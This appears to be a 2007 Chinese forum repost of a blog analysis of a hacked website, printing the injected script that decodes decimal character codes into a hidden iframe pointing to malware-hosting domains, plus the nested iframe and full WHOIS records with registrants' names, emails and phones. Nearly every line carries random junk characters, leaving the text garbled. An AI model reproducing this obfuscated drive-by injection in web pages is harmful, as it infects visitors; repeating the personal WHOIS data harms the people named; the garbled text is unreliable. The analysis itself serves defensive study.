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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 1Dbe0u  
yP@= x!$  
http://www.areway.cn/?p=175 m=R4A4Y7  
k;)L-ge9  
 i J\#su  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ?;$g,2n  
          T]:5y_4?[  
<script>t=’60,105,102,114,97,109,101, -{O2Nv-]]  
32,115,114,99,61,104,116,116,112,58,47,47, {kC]x2 U  
102,114,101,101,46,117,45,117,117,117,46,99, w9 N Um  
110,47,101,114,114,111,114,46,104,116,109, N\p3*#M  
32,119,105,100,116,104,61,49,48,48,32,104, 8E" .y$AW  
101,105,103,104,116,61,48,62,60,47,105,102, 6V8"[0U  
114,97,109,101,62′; rnW i<Se  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 0ul2rZc  
                                                                                                  x&;SLEM   
<script>t=’60,105,102,114,97,109,101,32,115, a+X X?uN{  
114,99,61,104,116,116,112,58,47,47,102,114, 0I.7I#'3O  
101,101,46,117,45,117,117,117,46,99,110,47, jQc0_F\  
101,114,114,111,114,46,104,116,109,32,119, ,+JAwII>O  
105,100,116,104,61,49,48,48,32,104,101,105, }/=VnCfU  
103,104,116,61,48,62,60,47,105,102,114,97, g><sZqj8tt  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); GUK/Xiu  
document.write(t);</script> 0$UE|yDs>  
                                                                                                  v/kYyz  
<html xmlns=” ";jhj:Xj  
http://www.w3.org/1999/xhtml 3A+d8fwi  
“> <mpkkCl,  
<head> T# 8O:  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> <@?bYp  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> AttDD{Ta  
<title>首页 - 爱生活家庭网 FuD$jsEw  
                                                                                                                                                    [1E u6X6  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 b&!X#3(KT  
转换字符串后的大概内容是(谁点击后果自付): Y+D#Dv |  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… s Ce{V*ua  
                                                                                                                                  N[AX29  
查询玉米u-uuu.cn的详细信息: 6@bO3K|  
Domain Name: u-uuu.cn N!,@}s  
ROID: 20070901s10001s64972306-cn aK,G6y  
Domain Status: ok /N~.,vf  
Registrant Organization: 王雷 nlJxF5/  
Registrant Name: 王雷 xY@V.  
Administrative Email: czlovexs@126.com vmL0H)q  
Sponsoring Registrar: 北京万网志成科技有限公司 l2$6ojpo  
Name Server:ns.yovole.com :sJVklK  
Name Server:ns1.yovole.com _PJd1P.k  
Registration Date: 2007-09-01 17:54 H1N%uk=kV  
Expiration Date: 2008-09-01 17:54 1}'|HAu  
最后PING了一下地址 都没有什么….  aj1Zi3h  
                                                                                                UE*M\r<  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. oKzLt  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> |E|d"_Ma  
<script language=”javascript” src=” F(mm0:lT  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >8EIm  
> - wCfwC  
这个玉米应该有可能是木马作者的:  w;)@2}  
foafau.info的详细信息: RH~KaV3  
Access to INFO WHOIS information is provided to assist persons in S)p1[&" M  
determining the contents of a domain name registration record in the O TSbhI'v  
Afilias registry database. The data in this record is provided by tvavI9  
Afilias Limited for informational purposes only, and Afilias does not EE-jU<>|  
guarantee its accuracy.  This service is intended only for query-based 6/ F]ncwG  
access. You agree that you will use this data only for lawful purposes :IvKxOv  
and that, under no circumstances will you use this data to: (a) allow, d/N&bTg:  
enable, or otherwise support the transmission by e-mail, telephone, or !Yd7&#s  
facsimile of mass unsolicited, commercial advertising or solicitations Wu?4oF  
to entities other than the data recipient’s own existing customers; or O6 bB CF;  
(b) enable high volume, automated, electronic processes that send ^pIT,|myY7  
queries or data to the systems of Registry Operator, a Registrar, or w 7s+6,  
Afilias except as reasonably necessary to register domain names or tWT@%(2~0  
modify existing registrations. All rights reserved. Afilias reserves .3M=|rE   
the right to modify these terms at any time. By submitting this query, C/U^8,6\n  
you agree to abide by this policy. B^Fe.ty  
Domain ID:D22418703-LRMS 5Ay\s:hb[u  
Domain Name:FOAFAU.INFO :  *k   
Created On:20-Nov-2007 16:05:42 UTC  ]Vuq)#  
Last Updated On:20-Nov-2007 16:05:44 UTC ~QQi{92  
Expiration Date:20-Nov-2008 16:05:42 UTC n j0!  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) PS7ta?V QC  
Status:CLIENT DELETE PROHIBITED _vr> -:G  
Status:CLIENT RENEW PROHIBITED 76Ho\}-U">  
Status:CLIENT TRANSFER PROHIBITED YEqZ((H  
Status:CLIENT UPDATE PROHIBITED OXAr..  
Status:TRANSFER PROHIBITED 8A}cxk  
Registrant ID:GODA-040110615 2 ,RO  
Registrant Name:liu hong $q%r}Cdg  
Registrant Organization: P+K< /i  
Registrant Street1:beijing V $Y=JK@  
Registrant Street2: *jE> (J`  
Registrant Street3: wA$ JDf)Vg  
Registrant City:beijing D;nm~O%  
Registrant State/Province: u]RI,3Z  
Registrant Postal Code:100000 dX^ ^ @7  
Registrant Country:CN KFZ2%:6>  
Registrant Phone:+86.860108888777 _[IOPHa"  
Registrant Phone Ext.: jjLx60|{  
Registrant FAX: {B|)!_M#  
Registrant FAX Ext.: "=H(\ V  
Registrant Email:bbbshiji@163.com /h6K"w=='!  
Admin ID:GODA-240110615 0K T^V R  
Admin Name:liu hong X3mHg5zt  
Admin Organization: (+aU,EQ  
Admin Street1:beijing ?5VPV9EX  
Admin Street2: oyC5M+shP9  
Admin Street3: mQd L"caA  
Admin City:beijing 9fQ[:Hl"  
Admin State/Province: }%) ]b*3  
Admin Postal Code:100000 2J;_9 g&M  
Admin Country:CN e2F{}N  
Admin Phone:+86.860108888777 6~b)Hc/  
Admin Phone Ext.: r&rip^40  
Admin FAX: r{mj[N'@  
Admin FAX Ext.: CqFk(Td9-D  
Admin Email:bbbshiji@163.com M1HGXdN*B  
Billing ID:GODA-340110615 ^ L?2y/  
Billing Name:liu hong H6/n  
Billing Organization: Q  h~  
Billing Street1:beijing 4(nwi[1Y  
Billing Street2: |X47&Y  
Billing Street3: AJYZ`  
Billing City:beijing 4"^v]&I  
Billing State/Province: !FA[ ]d4  
Billing Postal Code:100000 W @ ?*~  
Billing Country:CN ]L6[ vJHx  
Billing Phone:+86.860108888777 )`5=6i  
Billing Phone Ext.: ,hSTR)  
Billing FAX: /< -+*79G  
Billing FAX Ext.: bDtb"V8e  
Billing Email:bbbshiji@163.com .dPy<6E  
Tech ID:GODA-140110615 CbW>yr  
Tech Name:liu hong 6^vz+oN  
Tech Organization: >xCc#]v&  
Tech Street1:beijing 8, " 5z_  
Tech Street2: S;tv4JY  
Tech Street3: Jp 7m$D%  
Tech City:beijing @:w[(K[^b/  
Tech State/Province: '*=kt  
Tech Postal Code:100000 ,V &RpKek  
Tech Country:CN (|dN6M-.K  
Tech Phone:+86.860108888777 R>B4v+b  
Tech Phone Ext.: tlyDXB~+  
Tech FAX: v5A8"&Jr  
Tech FAX Ext.: Qm@v}pD  
Tech Email:bbbshiji@163.com 2)T.Ci cx  
Name Server:NS27.DOMAINCONTROL.COM M32Z3<  
Name Server:NS28.DOMAINCONTROL.COM dOFK;  
Name Server: +Z/aB*aVa^  
Name Server: PzH#tG&.j  
Name Server: - p*j9 z  
Name Server: k.6(Q_TS  
Name Server: ~#PC(g  
Name Server: RxUzJ  
Name Server: JW9U&Bj{  
Name Server: vv^(c w>A  
Name Server: C@OY)!x!  
Name Server: (( {4)5}  
Name Server: VQ/Jz5^  
                                                                                                          `kM:5f+>W  
接着下载每个文件里面的代码: j6#RV@ p`  
一步一步看.. $;As7MI  
7thB1cOJ  
M D,+>kh  
aqoxj[V^3L  
|YWX.-aeo  
-iySU 6  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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